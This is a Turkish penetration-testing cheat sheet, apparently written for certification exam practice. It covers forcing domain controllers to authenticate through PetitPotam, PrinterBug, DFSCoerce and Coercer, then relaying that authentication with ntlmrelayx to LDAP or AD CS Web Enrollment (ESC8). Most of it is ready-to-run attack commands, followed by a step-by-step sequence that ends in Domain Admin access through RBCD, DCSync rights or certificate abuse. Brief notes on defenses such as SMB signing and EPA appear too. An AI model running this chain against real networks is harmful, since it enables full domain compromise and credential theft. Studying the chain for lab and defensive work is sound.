FOOTHOLD Metodoloji Cheat-sheet
Lateral ✓ EXAM-SAFE zor :445:139:389:636:80:443

Coercion + NTLM Relay — PetitPotam / PrinterBug / Coercer / DFSCoerce

Bir DC veya sunucuyu MS-EFSRPC/MS-RPRN/MS-DFSNM ile kontrolündeki host'a authenticate olmaya ZORLARSIN, gelen makine kimliğini ntlmrelayx ile LDAP'e (RBCD/escalate) ya da ADCS web kayıt servisine (ESC8) relay edip DC kimliğini ele geçirirsin. SMB signing ve EPA zayıflığı sömürülür.

Bilgi: ÖN KOŞULLAR
  • Domain user kimliği (çoğu coercion metodu authenticated; PetitPotam bazı yamasız DC'lerde anonim)
  • Relay hedefinde signing zayıf: LDAP signing/channel-binding kapalı (RBCD) veya ADCS Web Enrollment HTTP açık (ESC8)
  • DC'nin makine hesabı (DC$) relay edilebilir bir kimlik sağlar
┌──

Komutlar

impacket-ntlmrelayx ✓ EXAM-SAFE user
impacket-ntlmrelayx -t ldaps://{{DC_IP}} -smb2support --delegate-access
Gelen makine kimliğini DC LDAPS'e relay edip relay edilen makineye RBCD ekle (ms-DS-MachineAccountQuota>0 gerek). Sonra getST ile DA bileti. The Hacker Recipes — NTLM relay to LDAP (RBCD); Impacket ntlmrelayx
impacket-ntlmrelayx ✓ EXAM-SAFE user
impacket-ntlmrelayx -t ldap://{{DC_IP}} --escalate-user {{USER}} -smb2support
Relay edilen yüksek-yetkili kimlikle, kontrolündeki düşük-yetkili {{USER}} hesabına DCSync hakları (DS-Replication) yaz; ardından secretsdump. The Hacker Recipes — NTLM relay to LDAP (--escalate-user / privesc ACL)
impacket-ntlmrelayx ✓ EXAM-SAFE user
impacket-ntlmrelayx -t http://{{RHOST}}/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
ESC8: coerce edilen DC$ kimliğini ADCS Web Enrollment'a relay edip DC adına sertifika al. Çıkan base64 PFX -> certipy auth ile DC'nin TGT/NT hash'i. The Hacker Recipes — ADCS ESC8 (NTLM relay to AD CS HTTP endpoints)
petitpotam ✓ EXAM-SAFE user
petitpotam.py -u {{USER}} -p {{PASS}} -d {{DOMAIN}} {{LHOST}} {{DC_IP}}
MS-EFSRPC (EfsRpcOpenFileRaw vb.) ile DC'yi {{LHOST}}'a authenticate olmaya zorla. Yamasız sistemde -u/-p olmadan anonim de denenir. The Hacker Recipes — PetitPotam (MS-EFSRPC coercion); topotam/PetitPotam
impacket-printerbug ✓ EXAM-SAFE user
printerbug.py {{DOMAIN}}/{{USER}}:{{PASS}}@{{DC_IP}} {{LHOST}}
MS-RPRN PrinterBug (SpoolSample): Print Spooler servisini {{LHOST}}'a geri-bağlanmaya zorla. Spooler çalışıyor olmalı. The Hacker Recipes — PrinterBug (MS-RPRN); dirkjanm/krbrelayx printerbug.py
coercer ✓ EXAM-SAFE user
coercer coerce -u {{USER}} -p {{PASS}} -d {{DOMAIN}} -t {{DC_IP}} -l {{LHOST}}
Çok-protokollü coercion otomasyonu: MS-EFSRPC, MS-RPRN, MS-DFSNM, MS-FSRVP vb. tüm bilinen metodları tek tek dener; bir DC çoğunlukla en az birine yanıt verir. The Hacker Recipes — Coercer; p0dalirius/Coercer
dfscoerce ✓ EXAM-SAFE user
dfscoerce.py -u {{USER}} -p {{PASS}} -d {{DOMAIN}} {{LHOST}} {{DC_IP}}
MS-DFSNM (NetrDfsRemoveStdRoot) ile DC coercion; PetitPotam yamalandıktan sonra bile sıklıkla çalışan alternatif. The Hacker Recipes — DFSCoerce (MS-DFSNM); Wh04m1001/DFSCoerce
impacket-getST ✓ EXAM-SAFE user
impacket-getST -spn cifs/{{DC_HOST}} -impersonate Administrator -dc-ip {{DC_IP}} '{{DOMAIN}}/ATTACK$:Attack123!'
RBCD relay başarılıysa: eklenen makine hesabıyla S4U ile DC üzerinde Administrator bileti al, sonra secretsdump -k -no-pass. The Hacker Recipes — RBCD (S4U2Self/S4U2Proxy)

Kavram: Coercion ÇİFTİ Relay

Bu saldırı iki yarımdan oluşur ve ikisi eşzamanlı çalışmalıdır:

  1. Relay dinleyici (ntlmrelayx) önce ayağa kalkar ve bir hedef bekler.
  2. Coercion tetikleyici (PetitPotam/PrinterBug/Coercer/DFSCoerce) bir sunucuyu — genelde DC’yi — saldırgan host’una authenticate olmaya zorlar. DC bağlandığında kendi makine hesabı (DC$) kimliğini taşır; ntlmrelayx bunu hedefe iletir.

Kritik nokta: NTLM kimliğini kıramazsın, ama başka bir servise relay edebilirsin. DC$ çok güçlü bir kimlik olduğu için DC’yi coerce edip o kimliği LDAP/ADCS’e relay etmek domain’i bitirir.

İki Ana Hedef

Hedef A — LDAP (RBCD veya DCSync)

ntlmrelayx -t ldaps://{{DC_IP}} --delegate-access: relay edilen makine için RBCD kurarsın (önce addcomputer ile bir makine hesabı eklersin; MachineAccountQuota>0 gerekir). Sonra getST S4U ile o makineden DC üzerinde Administrator bileti üretirsin. Alternatif: --escalate-user {{USER}} ile düşük-yetkili kendi hesabına DCSync (DS-Replication-Get-Changes) hakkı yazdırırsın. LDAPS gerekir çünkü modern DC’lerde LDAP signing zorunludur — LDAPS (636) channel binding zayıfsa relay geçer.

Hedef B — ADCS Web Enrollment (ESC8)

ntlmrelayx -t http://{{RHOST}}/certsrv/certfnsh.asp --adcs --template DomainController: coerce edilen DC$ kimliğini AD CS’in HTTP kayıt servisine relay edip DC adına sertifika alırsın. HTTP endpoint EPA (Extended Protection for Authentication) ile korunmuyorsa relay başarılı olur. Çıkan PFX’i certipy auth -pfx ... -dc-ip {{DC_IP}} ile TGT’ye/NT hash’e çevirirsin. Detay ad-adcs (ESC8) sayfasında.

Tetikleyici Seçimi (Gotcha’lar)

  • PetitPotam (MS-EFSRPC): En meşhuru. Bazı yamasız DC’lerde anonim (credentialsiz) çalışır; yamalı sistemde authenticated.
  • PrinterBug / SpoolSample (MS-RPRN): Print Spooler servisi çalışıyor olmalı; modern DC’lerde sıkça kapalıdır.
  • DFSCoerce (MS-DFSNM): PetitPotam yamalarından sonra hayatta kalan favoridir.
  • Coercer: Hepsini sırayla otomatik dener — hangisinin açık olduğunu bilmediğinde en pratik seçim.

SMB Signing’in Önemi

Relay’in temel savunması signing’tir. SMB signing zorunlu ise SMB hedefine relay edilemez (--gen-relay-list ile uygun hedef bulunur). LDAP tarafında LDAP signing + channel binding kapalıysa LDAP/LDAPS relay geçer. ADCS ESC8’de savunma EPA’dır. Yani: relay’in mümkün olup olmaması tamamen hedefteki signing/EPA konfigürasyonuna bağlıdır.

Sıra (Pratik)

  1. ntlmrelayx’i hedefe ve moda göre başlat (terminal 1).
  2. Coercion aracını DC’ye karşı ateşle (terminal 2): {{LHOST}} = ntlmrelayx host’un.
  3. ntlmrelayx çıktısında RBCD eklendi / sertifika alındı / DCSync yazıldı mesajını gör.
  4. getST veya certipy auth veya secretsdump ile DA’ya yüksel.
┌──

Kaynaklar

0/15 set